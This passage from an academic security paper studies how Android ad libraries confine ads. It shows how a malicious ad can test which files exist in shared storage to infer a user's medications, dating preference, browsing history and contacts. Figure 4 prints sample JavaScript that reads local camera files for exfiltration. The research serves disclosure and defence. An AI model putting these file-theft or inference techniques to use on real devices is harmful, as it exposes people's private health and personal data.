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Abstract—We analyze the software stack of popular mobile
advertising libraries on Android and investigate how they protect
the users of advertising-supported apps from malicious advertis-
ing. We find that, by and large, Android advertising libraries
properly separate the privileges of the ads from the host app by
confining ads to dedicated browser instances that correctly apply
the same origin policy.

We then demonstrate how malicious ads can infer sensitive
information about users by accessing external storage, which is
essential for media-rich ads in order to cache video and images.
Even though the same origin policy prevents confined ads from
reading other apps’ external-storage files, it does not prevent
them from learning that a file with a particular name exists. We
show how, depending on the app, the mere existence of a file
can reveal sensitive information about the user. For example, if
the user has a pharmacy price-comparison app installed on the
device, the presence of external-storage files with certain names
reveals which drugs the user has looked for.

We conclude with our recommendations for redesigning
mobile advertising software to better protect users from malicious
advertising.

I. INTRODUCTION

Many mobile apps rely on advertising for at least part of
their revenue. An advertising-supported app typically incorpo-
rates multiple advertising libraries (AdSDKs). While the app
is running, each AdSDK fetches ads from its servers, where
they have been uploaded by advertisers, and displays them to
the app’s user.

Business imperatives are driving the development of mobile
advertising technology. To increase users’ response to their
ads, advertisers demand that AdSDKs support media-rich,
active ads with JavaScript, images, and video. Consequently,
modern AdSDKs provide facilities for MRAID (Mobile Rich
Media Ad Interface Definitions), including local caching of ad
content. Furthermore, mobile ads are fetched dynamically and
often originate from other advertising networks, exchanges,
brokers, and auctions.

Redirection, obfuscation, and proliferation of active content
with new features make it difficult for AdSDKs to analyze or
sanitize the content of the ads they serve. Therefore, AdSDKs
must treat each ad as potentially untrusted and isolate it

to prevent it from damaging the user’s device or extracting
sensitive information.

AdSDKs on Android solve this challenge by applying
privilege separation. They show ads in a separate instance of
the embedded WebView browser that does not have the same
permissions as the host app and the AdSDK. For the purposes
of this paper, we assume that WebView correctly enforces the
same origin policy and prevents JavaScript in mobile ads from
reading any content from other origins, including local files on
the device.

Our contributions. We study mobile ad isolation in four
popular Android AdSDKs (AdMob, MoPub, AirPush and
AdMarvel) and investigate what a fully confined, privilege-
separated mobile ad can learn about the user of the device
on which it is displayed. In contrast to prior work, which
focused on threats presented by malicious apps and advertising
libraries, the capabilities of our attacker are very restricted. We
assume that all apps on the user’s device are benign, AdSDKs
are benign as well, and the attacker cannot monitor or modify
the user’s network communications. The only attack vector
available to a malicious advertiser is an ad-supported app that
runs on the user’s device and displays the attacker’s ads in a
confined WebView instance.

On modern Android devices, external storage is a shared
cache where multiple apps store their files. As mentioned
above, mobile ads need access to external storage, too, in order
to cache videos and images. That said, when the same origin
policy is enforced correctly, JavaScript in a malicious ad cannot
read external-storage files belonging to other apps (although
we demonstrate an exception in a popular AdSDK, which has
serious privacy consequences).

The standard same origin policy, however, does not prevent
an ad from determining whether a resource with a particular
name exists on the device. We explain how a malicious ad
running in any Android AdSDK can use this “local resource
oracle” to infer sensitive information—which medications the
user is taking, the user’s gender preference in dating, his
or her social circle, and even identity—if the user has been
using certain apps on his or her device. Many apps cache
files with predictable names in external storage in a way that
depends on the user’s in-app activities: a pharmacy shopping
app caches images of the drugs that the user has searched for,
a dating app caches the profiles that the user has looked at,
etc. By attempting to load certain external-storage files and
seeing which loads succeed, a mobile ad can infer sensitive
information about the user even though it cannot read the
loaded files. We also demonstrate how the leakage of location
information combined with the device identifier in one of
the AdSDKs in our study enables malicious advertisers to
construct partial trajectories of users’ movements.
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Fig. 1: Mobile advertising ecosystem

We conclude with our proposed short-term defense and
long-term recommendations for re-designing the Android ad-
vertising software stack to better protect mobile users from
malicious advertising.

II. MOBILE ADVERTISING ECOSYSTEM

Mobile advertising helps developers of mobile apps obtain
revenue without directly charging users. Therefore, advertising
is a key component of the mobile app ecosystem. Mobile
advertising is typically integrated into mobile apps via an ad-
vertising library or SDK (AdSDK), which fetches and displays
mobile ads while the app is running. Over 41% of apps in
the Google Play Store include at least one mobile advertising
library [6], and it is common for a single app to include several
libraries from multiple advertising providers [37].

An Android AdSDK is a typically a third-party JAR library,
which is intended to be included into the app’s code with
minimal changes and whose business logic is opaque to the
app’s developer. The code of an AdSDK runs with the same
privileges as its host app. If the AdSDK, or the ads it is
fetching and displaying, need a particular permission, the app
must request this permission from the user even if it is not
needed by the app’s core functionality. Some AdSDKs abused
these permissions to collect permanent device identifiers or
sensitive information about the user [22, 46]. As we explain
in Section III-C, the information collected by the AdSDK is
typically used by the advertising service internally to decide
which ads to show, but most of it is not disclosed to the ads,
nor to the advertisers who created these ads.

In the rest of this section, we explain the trust relationships
between apps, AdSDKs, and advertisers, and list the informa-
tion that may be available to an AdSDK when choosing ads
to show to the user.

A. Participants

Figure 1 shows a highly simplified overview of the mobile
advertising ecosystem. The three main participants are mobile
app developers or publishers, AdSDK providers (mobile ad-
vertising services), and advertisers.

Advertisers or their agencies upload advertising creatives
as text, images, URLs, JavaScript, or HTML to the advertising
networks managed by AdSDK providers. As mentioned above,
app developers integrate AdSDKs into their apps. While the

app is running, each AdSDK sends HTTP(S) requests to the
servers of its advertising network and receives creatives written
in HTML, JSON, or XML. AdSDK then displays the received
creatives within WebView instances [51]. Each creative deliv-
ered and displayed on a mobile device is called an advertising
impression; impressions are one of the measurement units used
to charge advertisers. Section III describes the software stack
used to support this advertising model on Android.

AdSDK providers play an essential role in connecting
advertisers and app developers. Providers release AdSDK
libraries and maintain advertising servers, which serve many
types of advertising creatives, including banner and full-screen
impressions. To maximize the click-through rates of their
impressions, advertisers seek to enrich users’ experience by
making impressions more dynamic and responsive. To this
end, AdSDKs have started to support mobile rich media adver-
tisement interface definitions (MRAID) [26]. MRAID allows
advertising creatives to be written in HTML and to invoke
a limited set of JavaScript methods that require native-level
functionalities. For instance, an MRAID advertising creative
can invoke mraid.storeP icture to store images on a mobile
device.

As Figure 1 illustrates, a creative delivered to mobile
devices is not identical to the creative that was submitted by
an advertiser. AdSDK providers rewrite the creatives and add
extra functionalities for interacting with users. For instance,
AdMob adds a button that lets users turn off interest-based
advertisement or report offensive advertising impressions. Fur-
thermore, AdSDK providers insert trackers into creatives (see
Section II-C). Trackers notify advertisers or AdSDK providers
whether delivered creatives are indeed displayed on users’
devices.

B. Threats

For the purposes of this paper, we assume that the mobile
apps and the AdSDKs are benign, but advertisers are untrusted
and their impressions may contain malicious content. The
attacker’s capabilities in this model are significantly weaker
than in the prior literature on the security and privacy of mobile
advertising (see Section VIII), which focused on threats from
malicious apps and abusive AdSDKs. That said, advertising-
supported mobile apps are very popular, thus a malicious
advertiser has many more opportunities to have his creatives
displayed on users’ devices than a malicious app creator, who
must evade app-store filters and convince users to install his
apps.

This threat model is realistic in today’s mobile advertising
ecosystem. In the U.S. and Europe, apps usually come from
trusted app stores, are vetted by platform providers, and
installed voluntarily by users. AdSDKs are typically developed
and deployed by trusted advertising services such as AdMob
and MoPub, which have their reputation at stake and are thus
incentivized to ensure that their AdSDKs do not abuse the
permissions granted to them.

Advertising impressions, on the other hand, often pass
through multiple layers of brokers, auctions, and exchanges be-
fore arriving to users’ devices. Because of this indirection, the
exact origin of a given ad may be opaque. AdSDK providers
depend on real-time monitoring and manual review to prevent
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malicious advertisers from serving offensive or malicious
creatives, but these measures are not perfect. Filtering dynamic,
active content such as JavaScript is notoriously difficult, thus it
is not always feasible for advertising services to ensure that all
mobile ads they serve are free of malicious content, especially
if the content in question is stealthily snooping on the user
rather than actively trying to install malware.

Therefore, modern AdSDKs treat ads as untrusted content
and confine them to ensure that they cannot access sensitive
information on the devices where they are displayed. In
Section III, we describe the technical confinement mechanisms
used by AdSDKs.

C. Information collected by AdSDKs

Both advertisers and advertising services commonly
“track” users, i.e., link activities performed by the same user
in order to build detailed user profiles, learn users’ interests,
and better target their advertising.

In the conventional Web ecosystem, tracking is often
performed using third-party cookies [32], although there are
several other mechanisms [1, 35]. In the mobile ecosystem,
advertising impressions are displayed not in conventional Web
browsers but in WebView instances integrated into mobile
apps. Because WebView instances hosted by different apps do
not share cookies or any other browser state, AdSDK providers
rely on device identifiers [27].

Identifier Description Attribute
GAID User-resettable 32-digit alphanumeric

identifier
Pseudonymous

Android ID 64-bit number randomly generated when
device is set up for the first time [5]

Semi-permanent

IMEI 15-digit decimal identifier representing
GSM or LTE device

Permanent

IMSI 15-digit decimal identifier representing
mobile subscriber identity

Permanent

MAC address 48-bit number assigned to the device’s
Wi-Fi network interface

Permanent

TABLE I: Android device identifiers

Table I shows common identifiers used by AdSDKs on
Android. Google Advertising ID (GAID) is a pseudonymous
identifier that can be reset by the user. The other identifiers
are permanent and cannot be controlled by the user (Android
ID is semi-permanent because it can be reset only when the
device is restored to its factory setting). Since August 2014,
Google Play developer program policy requires Android apps
to use GAID [2]. However, GAID is only available on mobile
devices that have the Google Play service installed, and many
Android devices without the Google Play service still use
permanent identifiers.

Device identifiers play a key role for counting user clicks
and advertising impressions served to the user. AdSDKs at-
tach identifiers to HTTP(S) requests that they send to their
providers’ advertising servers, enabling the latter to link re-
quests coming from the same device. Some AdSDKs also make
device identifiers available to the advertising creatives they dis-
play, enabling the trackers embedded in these creatives to send
the identifiers to advertisers. These trackers are implemented
using JavaScript or image DOM elements (tracking pixels).

Fig. 2: Examples of mobile advertising impressions

III. ADVERTISING SOFTWARE STACK ON ANDROID

AdSDKs typically need access to geolocation and external
storage on the device. Location is used to serve geotargeted
advertising because the GPS coordinates from the device’s on-
board sensor are more accurate than the approximate location
inferred from the device’s IP address. Many AdSDKs attach
location data to advertising requests [46]. External storage
is needed by media-rich advertising creatives to cache video
and image files. From the user’s viewpoint, requests for these
permissions come from the mobile app itself. The user cannot
tell whether the app intrinsically requires these permissions for
its core functionality or is requesting them for the benefit of
one of several AdSDKs integrated into the app’s code.

We investigated four popular AdSDK to determine what
information they (1) send to AdSDK providers and (2) make
available to advertisers. For this study, we integrated each
AdSDK into an Android test app following the provider’s
integration guidelines and then used a proxy server to analyze
advertising requests sent by the AdSDK.

Table II shows the results of our study. Observe that
MoPub lets advertisers collect both the location and the device
identifier [33], although fine-grained location is available only
if the host app has the ACCESS FINE LOCATION permis-
sion. MoPub asks developers to request ACCESS COAR-
SE LOCATION on its behalf, not ACCESS FINE LOC-
ATION, but an app may still require fine-grained location
for its core functionality. Since GAID is pseudonymous, in
theory users can reset their identifiers to avoid tracking. We
don’t know whether users are aware of this or do in fact
reset this identifier. In any case, location itself is a strong
deanonymizer [20, 31, 55]. Furthermore, on devices without
Google Play Services, fixed hash values of permanent Android
identifiers are used instead of GAID. Whenever location is
paired with a semi-permanent or permanent identifier, the
advertiser can infer the device’s trajectory (see Section VI-E).

A. AdSDKs and WebView

Developers of ad-supported mobile apps integrate AdSDK
code into their apps and request permissions needed by AdS-
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AdSDK Information sent to AdSDK providers (AdSDK) or advertisers (Ads)

Fine Loc Android ID H(Android ID) GAID Model H(IMEI)

AdMob [4] AdSDK AdSDK

MoPub [33] AdSDK, Ads AdSDK −, Ads − AdSDK +, Ads + AdSDK

AirPush [36] AdSDK AdSDK, Ads AdSDK AdSDK, Ads AdSDK, Ads

AdMarvel [3] AdSDK − Ads − AdSDK +, Ads + AdSDK, Ads
+

Information sent only if Google Play Services are present on the device.
−

Information sent only if Google Play Services are not present on the device.

TABLE II: Tracking information available to advertisers and AdSDK providers

DKs. When the user runs an ad-supported app, the included
AdSDK fetches advertising creatives by sending a GET or
POST HTTP(S) request to its provider’s servers. As explained
in Section II-C, AdSDK may attach device identifier and
location to these requests.

Depending on the AdSDK, the response from the server
may be in JSON, XML, or HTML. AdSDK extracts an
advertising creative from this response. AdSDK then creates
a WebView instance and loads the extracted creative into this
instance. WebView is an Android class designed to display
webpages inside apps [51].

Figure 2 shows a banner impression from the AdMob
AdSDK and an interstitial impression from the MoPub
AdSDK, both displayed within WebView (and deliberately
blurred).

B. External storage

It is critical for AdSDKs to reduce latency when deliver-
ing advertising creatives to mobile devices and to minimize
network data usage. AdSDKs thus need to cache files, images,
and advertising videos on the device. They use external storage
for this purpose.

Android supports devices with external storage [16], typ-
ically an SD card. External storage is protected by the per-
mission system. Prior to Android 4.4 KitKat, reading data
from external storage did not require any permissions; writing
required the WRITE EXTERNAL STORAGE permission.
Android 4.4 made two major changes in access control
for external storage. First, reading external storage requires
the READ EXTERNAL STORAGE permission (implicitly
granted by WRITE EXTERNAL STORAGE). Second, each
app has its own directory on external storage, allowing it to
manage its data without any storage permissions. Apps with the
READ EXTERNAL STORAGE permission can read data
from the directories managed by other apps, but cannot write
into them.

MoPub, AirPush, and AdMarvel all instruct app developers
to request WRITE EXTERNAL STORAGE so that their
AdSDKs can function properly. This automatically grants the
READ EXTERNAL STORAGE permission. Furthermore,
READ EXTERNAL STORAGE is one of the top four per-
missions requested by apps in popular categories [39]. There-
fore, we assume that most ad-supported mobile apps can read
external storage.

Fig. 3: Overview of Android advertising stack

C. Mobile ad isolation

As explained in Section II-B, mobile ads must be treated
as potentially malicious. Even prominent Internet sites have
been affected by malicious advertising impressions [48]. Fur-
thermore, many AdSDK providers, including AdMob, MoPub,
and AdMarvel, serve ads over HTTP. Therefore, a man-in-the-
middle attacker can inject malicious code into ads as they travel
over the network.

Because AdSDKs have the same privileges as their host
apps, they must ensure that the ads they display cannot enjoy
these privileges. To this end, AdSDKs confine ads in separate
WebView instances, as shown in Figure 3. WebView instances
created by different processes do not share any state, such as
cookies, even if they display content from the same origin.
Furthermore, WebView enforces the standard same origin
policy [8, 42] on the displayed content. An advertising creative
displayed in a WebView can interact with the host app through
exposed bridge objects [19], but an AdSDK can restrict which
bridges are available in its WebViews.

In this architecture, WebView instances still share the
application process with their host app. There are research
proposals such as AdDroid [37] and AdSplit [43] that impose
stronger privilege separation between the AdSDK execution
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environment and the host app. All of the vulnerabilities de-
scribed in this paper would still be present and exploitable
even if the Android OS and AdSDKs deployed AdDroid or
AdSplit.

Table III describes all methods for loading HTML content
into a WebView instance. loadUrl fetches HTML content from
a given URL; unless the URL is a file-scheme URI, this content
cannot access local files via file-scheme URIs. loadData loads
specified HTML content with the data-scheme origin; access
to local files is blocked.

loadDataWithBaseURL loads the data string with the
given baseUrl origin. Unless baseUrl is a file-scheme URI,
loaded content and local files have different origins. Never-
theless, the same origin policy (SOP) allows content from
one origin to embed content from another origin, including
image elements. Therefore, HTML and JavaScript loaded in
this manner can embed local files,1 subject to the standard
SOP for cross-origin resources. Conceptually, this is very
similar to a cross-domain GET, which is pervasively used in
conventional webpages. Although embedding is allowed, SOP
does not allow JavaScript from one origin to read content from
another origin. Therefore, assuming that WebView correctly
enforces SOP, JavaScript in advertising creatives can load—but
not read!—local file resources. This seemingly safe design is
directly based on the standard Web browser security model.

Prior to Android 4.1 Jelly Bean, WebView considered all
file-scheme URIs to belong to the same origin. Technically,
this is not a violation of SOP because Section 4 in RFC
6454 specifies that the treatment of file-scheme URI origins is
implementation-specific [8]. For example, Firefox treats two
different file URIs as the same origin only if one is the other’s
child directory, Internet Explorer treats all file URIs as the
same origin by default, and Chrome treats each file URI as a
unique origin [11].

Therefore, prior to Android 4.1, any ad loaded by an
AdSDK could access any file owned by the host app and
any file in external storage. Since Android 4.1, WebView
by default treats each file-scheme URI as a unique origin.
AdSDKs may change this default setting by enabling se-
tAllowFileAccessFromFileURLs or setAllowUniversalAc-
cessFromFileURLs [50]. The former allows HTML content
loaded from any file URI to access all resources from any
file URIs. The latter allows HTML content loaded from any
file URI to access all resources regardless of their origins.
In either of these cases, if the host app has the READ EX-
TERNAL STORAGE permission, any HTML content loaded
in a WebView created by an AdSDK can read any file from
external storage. In particular, if the AdSDK loads a malicious
ad, JavaScript code in this ad can steal local files using AJAX
requests via XMLHttpRequest.

Fortunately, with one exception (see Section IV-B), modern
AdSDKs do not change the default setting of WebView.
Therefore, malicious ads can only load, but not read, local
files on the device.

1Android 5.0 Lollipop does not allow the embedding of local resources if
baseUrl starts with https://.

IV. INFERENCE MECHANISMS

In this section, we explain the mechanisms that mobile
advertisers can use to infer sensitive information about the
users to whom their ads are shown.

A. Attack model

As explained in Section II-B, we focus on threats from
malicious advertisers, as opposed to malicious apps or abu-
sive advertising libraries. In contrast to attacks that exploit
advertising to entice victims to install malware [29, 48], in
our model the attacker’s goal is to collect sensitive information
about users.

Mobile advertisers typically have some control over the
selection and number of mobile devices on which their ads are
shown. For example, they can bid through different advertising
networks and specify the user profiles they wish to target. The
number of victims is related to the number of ads served and
the duration of the advertising campaign, both of which depend
on the attacker’s budget.

B. Reading local files

The attack described in this section depends on the Android
version and exact AdSDK used to show the malicious ad. Prior
to Android 4.1 Jelly Bean, WebView treated all file URIs as
the same origin (see Section III-C). Since Android 4.1, each
file-scheme URI has a separate origin by default. Neverthe-
less, AdSDKs can change this default setting of WebView
via setAllowFileAccessFromFileURLs or setAllowUniver-
salAccessFromFileURLs. Neither requires user permission.

The attacker first entices the victim to download an HTML
page that holds malicious payload. For example, the attacker
can set up a webpage that causes Chrome and Firefox mobile
browsers to automatically download the malicious file without
user’s consent [23].

Once the payload page is present on the user’s device,
the attacker’s ad invokes the payload by opening this page
within the same WebView where the ad is running. To do
this, JavaScript in the ad can create an iframe pointing to
the downloaded page via a file-scheme URI, or else change
window.location to this URI. WebView calls shouldOver-
rideUrlLoading to check whether the host app has registered
a callback to intercept URI loading. If the answer is “false,”
WebView loads the payload page; otherwise it delegates the
URI to the host app. After the ad has successfully loaded the
page, JavaScript in the payload can steal any local file that
belongs to the same file-scheme origin and that the host app
is allowed to read.

The following summarizes the conditions under which a
malicious ad can directly read files from the device’s external
storage.

• Victim automatically downloads a malicious payload
page by visiting an attacker-controlled website.

• A mobile app on the victim’s device includes an
AdSDK that displays the attacker’s ad.

• To display the attacker’s ad, AdSDK loads it in
a WebView instance using loadDataWithBaseURL
with a scheme other than https:// for baseUrl.
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WebView member method Functionality

void loadUrl (String url) Loads url

void loadData (String data, String mimeType, String encoding) Loads data using a data-scheme URL

void loadDataWithBaseURL
(String baseUrl, String data, String mimeType,
String encoding, String historyUrl)

Loads data using baseUrl as its origin

TABLE III: Methods for loading content into WebView

• There is no shouldOverrideUrlLoading callback de-
fined for the WebView instance, or the callback returns
false.

• The WebView instance enables setJavascriptEn-
abled.

• The WebView instance enables setAllowFileAccess.

• The WebView instance precedes Android 4.1, or else
the WebView instance enables either setAllowFileAc-
cessFromFileURLs or setAllowUniversalAccess-
FromFileURLs.

• (Since Android 4.4 KitKat) The host app has the RE-
AD EXTERNAL STORAGE permission.

We found that the AdMarvel AdSDK satisfies the
WebView-related conditions even on post-4.1 Android, i.e., it
allows files loaded by ads to access any file on the device.
This enables any ad shown in an AdMarvel-supported app to
steal local files from external storage.

Figure 4 shows a sample exploit. First, the victim down-
loads trigger.html to his device by visiting the attacker’s
webpage. The victim then opens an ad-supported app whose
AdSDK, such as AdMarvel, shows ads in a WebView instance
that satisfies the above conditions. The fetched advertising
creative embeds an iframe whose src property is the file
URI of the downloaded page—see Ln 4 in the top section
of Figure 4. The attack payload initiates XMLHttpRequest
to local resources, receives byte streams with the data, and
exfiltrates them to the attacker’s domain.

C. Inferring the existence of local files

When an AdSDK uses loadDataWithBaseURL to load
an advertising creative via a scheme other than https:// in
Android 5.0 or any scheme in pre-5.0 Android, the creative’s
HTML code can embed local files as DOM elements. The
origin of the code is baseURL, the first argument of load-
DataWithBaseURL. All AdSDKs in Table V use null or their
own domain names as baseURL. Therefore, the origin of any
advertising code they load is different from the origin of the
local files.

SOP thus prevents advertising code from reading the
contents of cross-origin resources such as local files, but
it does not prevent advertising code from embedding these
files as image, audio, or video elements. This is the standard
browser security model, enforced correctly. It is common for
conventional webpages to include iframes, images, etc. from a
different origin (without being able to read them). In fact, few
modern websites would work if SOP prohibited the embedding
of cross-origin resources.

Malicious advertising creative

1 <HTML>
2 ...
3 <!-- Embed a file-scheme URI -->
4 <iframe src="file:///sdcard/Download/trigger

.html">
5 ...
6 </HTML>

Attack code for stealing local files

1 var list_to_extract = {
2 ’Picture1’ ’image1.jpg’,
3 ...
4 };
5
6 function readFile(file) {
7 var rawFile = new XMLHttpRequest();
8 rawFile.open("GET", file, false);
9 rawFile.onreadystatechange = function () {

10 if(rawFile.readyState === 4) {
11 if(rawFile.status === 200 || rawFile.

status == 0) {
12 var allText = rawFile.responseText;
13 // Send retrieved data anywhere
14 } } }
15
16 function extractFilesFromSDcard() {
17 for (var key in list_to_extract) {
18 var file_url = "file:///sdcard/DCIM/

Camera/" + list_to_extract[key];
19 readFile(file_url);
20 }
21 }
22
23 window.addEventListener("load",

extractFilesFromSDcard, true);

Fig. 4: Directly reading local files

This key feature of the Web programming model appears
fairly harmless in its original Web context but has inter-
esting privacy consequences when translated to the mobile
context. It gives mobile ads a 1-bit local resource oracle.
By attempting to load a DOM element whose URI points
to a local file, a mobile ad learns whether a file with this
name exists on the device. As explained in Section III-B,
AdSDKs have the same privileges as the host app, including
READ EXTERNAL STORAGE. Therefore, a mobile ad can
check the existence of a file with a particular name in the
device’s external storage, even though it cannot read this file’s
contents.

The following conditions are necessary for mobile ads
displayed by an AdSDK to take advantage of the local resource
oracle:
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• (Since Android 5.0 Lollipop) To load ads into a Web-
View instance, AdSDK uses loadDataWithBaseURL
with a scheme other than https:// for the baseUrl
argument.

• The WebView instance enables setJavascriptEn-
abled. The default value of this flag is false, but
since running JavaScript in WebView is essential for
mobile advertising, all AdSDKs from Table II enable
setJavascriptEnabled.

• The WebView instance enables setAllowFileAccess
(default is true).

• (Since Android 4.4 KitKat) The host app has the RE-
AD EXTERNAL STORAGE permission.

The local resource oracle exploits a subtle but crucial
difference between the mobile and Web security models. On
the Web, public resources can typically be retrieved via cross-
origin requests. For sensitive resources, the recipient of a cross-
origin request can perform access-control checks or ask the
user’s browser to enforce the same origin policy by sending
back cross-origin resource sharing (CORS) headers. Local files
are cross-origin resources, too, but there is no entity that
can request or perform access-control checks. Therefore, Web
browsers including Chrome, Firefox, and Safari strictly forbid
accessing file resources from fetched Web pages. On the other
hand, embedded browser components such as WebView allow
this file access to give app developers more flexibility.

In contrast to the Web, on mobile devices the mere ex-
istence of a particular file can be sensitive because external
storage is used as a cache by multiple apps. In the rest of
this paper, we demonstrate how the presence of certain files
can be used to infer confidential information about the state
of various apps used by the device’s user and thus about this
user’s activities.

D. Inferring users’ trajectories

Table II shows device identifiers collected by AdSDKs.
MoPub, one of the largest advertising services, reveals both
the identifiers and, indirectly, locations to ads, enabling adver-
tisers’ to link multiple locations of the same device and thus
construct the user’s trajectory.

Figure 5 shows how advertisers can collect location data
using the MoPub AdSDK. The flow of location data from the
device to the advertiser is quite convoluted. It is collected by
AdSDK on the device, then sent to the AdSDK server, then
back to the device as part of the ad, and finally from the ad
to the advertiser.

First, the advertiser uploads an advertising creative along
with a tracking URL to the MoPub server. MoPub lets adver-
tisers use macro parameters in the tracking URL. When the
MoPub AdSDK on the device sends a request for advertising,
the MoPub server replaces the macros in the tracking URL
with the actual location data received from the device and
sends this URL to the device as part of the advertising creative.
A WebView instance in the MoPub AdSDK displays this
creative, and HTTP(S) requests sent by the creative to the
tracking URL reveal the device’s location. We confirmed this

Fig. 5: The flow of location data in MoPub

data flow by examining network traffic between a mobile
device running a MoPub-supported app and MoPub servers.

Since MoPub reveals both location data and device identi-
fiers (GAID or the hash of Android ID), advertisers can easily
determine if two locations were reported from the same device
and thus reconstruct partial user trajectories. Even if the user
periodically changes his or her pseudonymous GAID, sparse
trajectories—e.g., work-home location pairs—are known to be
strongly identifying (see Section VI-E) and allow the advertiser
to link old and new GAID, effectively turning GAID into a
permanent identifier. Furthermore, when the MoPub AdSDK
uses Android ID as the device identifier in the absence
of Google Play Services, each collected location becomes
paired with a semi-permanent identifier. MoPub recommends
developers to include the ACCESS COARSE LOCATION
permission, but if the app requires ACCESS FINE LOC-
ATION for its core functionality, location-identifier pairs leak
to advertisers.

AirPush and AdMarvel let advertisers collect device iden-
tifiers but not fine-grained locations. Advertisers can still infer
devices’ locations from the source IP addresses of HTTP
requests, but this information is much less precise than the
device-reported locations revealed by MoPub.

V. EXPERIMENTAL SETUP

We evaluated the feasibility of inference mechanisms de-
scribed in Section IV on three Android devices: Nexus 6,
Samsung Galaxy S6, and Motorola Moto X. Table IV shows
the OS version for each device.

Brand Model Android OS
Google Nexus Nexus 6 Android 5.1
Samsung Galaxy S6 SAMSUNG-SM-G925A Android 5.0.2
Motorola Moto X XT1058 Android 4.4.4

TABLE IV: Testing devices

To simulate malicious advertisers, all testing devices were
configured to use our proxy server. We did not upload advertis-
ing creatives with malicious payloads to the actual advertising
networks lest we affect real users. Instead, the proxy server
intercepts the creatives sent by the advertising networks to
mobile devices and rewrites them by adding one script element
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as shown at the top of Figure 7. The added script element
fetches a JavaScript file from our server. This script runs in the
context of the advertising creative and simulates a malicious
advertiser by attempting to collect or infer information from
the device using the methods described in Section IV.

This setup accurately models the capabilities of a malicious
advertiser, in particular his ability to include an undetected
malicious script into an ad. AdSDKs on the device cannot
distinguish an advertising creative rewritten by our proxy from
a “genuine” creative because none of the existing AdSDKs
check the integrity of delivered creatives. Furthermore, they
could not do so even if they wanted to because fetched
creatives often come from other advertising networks out of
their control. We confirmed that advertising creatives from
the MoPub and AirPush networks include third-party script
elements whose source domains are not related to MoPub or
AirPush.

Manual review of creatives and automatic monitoring
systems operated by advertising services may prevent some
malicious creatives from being delivered to users. Measuring
the detection rates of these techniques is complementary to our
work. Furthermore, these filters are designed to detect ads that
actively push malware, not those that surreptitiously collect
information from the devices on which they are displayed.

Fig. 6: Overview of inference attacks

VI. INFERRING SENSITIVE INFORMATION

Section IV-C described the local resource oracle that en-
ables a malicious ad to check the existence of a particular file
in the external storage of the victim’s Android device. Figure 6
shows the overview of our experimental setup for evaluating
attack feasibility.

Each exploit involves two apps. The target app creates local
files in the device’s external storage whose mere presence leaks
sensitive information about the user. Target apps need not use

AdSDKs or show any advertising at all. The attack-vector app
is a different, advertising-supported app that happens to show
a malicious advertising creative using one of the AdSDKs in
our study. The target app and the attack-vector app run on the
same device, but their execution need not be concurrent.

As our sample attack-vector apps, we selected four popular
advertising-supported apps, each of which includes a different
AdSDK, as shown in Table V. In Figure 6, the right-hand app
represents one of the apps from Table V. Our experiments
illustrate what an ad shown in any of these apps can learn
about the user via the local resource oracle. We emphasize
that these apps are just arbitrary examples. Any app using the
same AdSDK can be exploited as an attack vector in exactly
the same manner.

Android app AdSDK Number of installs
Dictionary.com AdMob 10,000,00-50,000,000
TuneIn Radio MoPub 100,000,000-500,000,000
Download Music MP3 2 AirPush 1,000,000-5,000,000
Personality Analysis Test AdMarvel 100,000-500,000

TABLE V: Sample apps that use each AdSDK

Table VI shows four target apps that we chose to illustrate
the diversity of sensitive personal information that can be
inferred using the local resource oracle. The real targets of
the attacker are the local files created by these target apps, as
Figure 6 shows. These files reflect the state of the app and
thus leak information about the user’s activities that led to this
state.

The second column in Table VI shows, for each target app,
what information a mobile ad can infer if it is displayed in any
other app on the same device that happens to include any of
the AdSDKs in our study. The third column shows the numbers
of installs for each target app.

Each of the last four columns in Table VI shows whether
the inference attack is feasible against the target app using a
particular AdSDK. For example, the cell at the intersection of
“GoodRx” and “MoPub” contains X. This means that if the
user has on his device both GoodRx and any app that includes
MoPub (such as TuneIn Radio—see Table V), any ad shown
in the latter app can find out which medications the user has
been shopping for.

Each of our target apps caches images and/or HTML files
in external storage or its app-specific directory. Presumably,
they do this to improve user experience by making content
load faster. The names of the cached files are deterministic
and predictable across all installations of the app regardless
of the Android OS version and device. Therefore, an attacker
can pre-compute an offline database of file names, then use
the local resource oracle in his ads to check the presence of
these files on users’ devices.

A. Medications

GoodRx is a popular Android app that has between 500,000
and 1,000,000 installs. It helps users find drug stores that
sell a particular medication and compare prices [21]. The app
has bookmark functionality that lets users register frequently
searched medications.
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Target apps
Test devices

Attack ad shown in another app using. . .
App Private information Installs AdMob MoPub AirPush AdMarvel

GoodRx Drug Prices and Coupons Medication 500,000-1,000,000
Samsung Galaxy S6 X X X X
Nexus 6 X X X X
Motorola Moto X X X X X

POF Free Dating App Gender preference 10,000,000-50,000,000
Samsung Galaxy S6 X X X X
Nexus 6 X X X X
Motorola Moto X X X X X

Dolphin Browser Browsing history 50,000,000-100,000,000
Samsung Galaxy S6 X X X X
Nexus 6 X X X X
Motorola Moto X X X X X

Kakao Talk Social graph 100,000,000-500,000,000
Samsung Galaxy S6 X X X X
Nexus 6 X X X X
Motorola Moto X X X X X

TABLE VI: Feasibility of inference attacks using the local resource oracle across devices and advertising libraries (columns
labeled with AdSDK indicate the presence of any app using that AdSDK on the device)

This app caches bookmarked and searched medication
images in the external storage of the user’s device. We created
a list of 12 medications for depression and anxiety disorders
and prepared the list of names of the corresponding image files.
Figure 7 gives the exploit to check the existence of cached
GoodRx images using JavaScript event handlers. As Table VI
shows, this exploit was successful in all AdSDKs on all tested
Android devices, enabling a malicious ad to determine whether
the user has been searching for depression or anxiety drugs.

B. Gender preferences for dating partners

POF Free Dating App is a popular dating app with over
10,000,000 installs [38]. It caches images of possible dating
partners in external storage.

We made a list of names for 10 female and 10 male
cached image files and installed the app with different dating
preferences for each device. Using the same method as in
Section VI-A, a malicious ad can infer the user’s gender
preference.

C. Browsing history

The Dolphin browser for Android is a popular mobile
browser, with over 50,000,000 installs [15]. This browser
caches images and fetched HTML pages in external storage
to reduce network usage. We made a list of cached images
and HTML pages for three different sites, including a state
DMV, a local hospital, and a local restaurant.

WebView triggers the same event when the file is absent
and when the file is of a non-supported image type. Therefore,
the script in Figure 7 cannot be used to infer the existence
of non-image files. Instead, a malicious ad can use “script”
elements as shown in Figure 8. The src property of the script
element is not JavaScript, but if the target file is present on
the device, WebView still invokes the callback for a successful
load event. This technique correctly identified all sites visited
in Dolphin.

Dolphin uses a String.hashCode() value for the file
names of cached URLs. This is a 32-bit integer value [25],

thus there is a small probability that two different pages are
cached with the same file name. To estimate the collision rate
of cached file names, we started from the front pages of the
Alexa top 1,000 sites and crawled link, script, and image DOM
URLs. This crawl collected 210,016 URL strings. We then
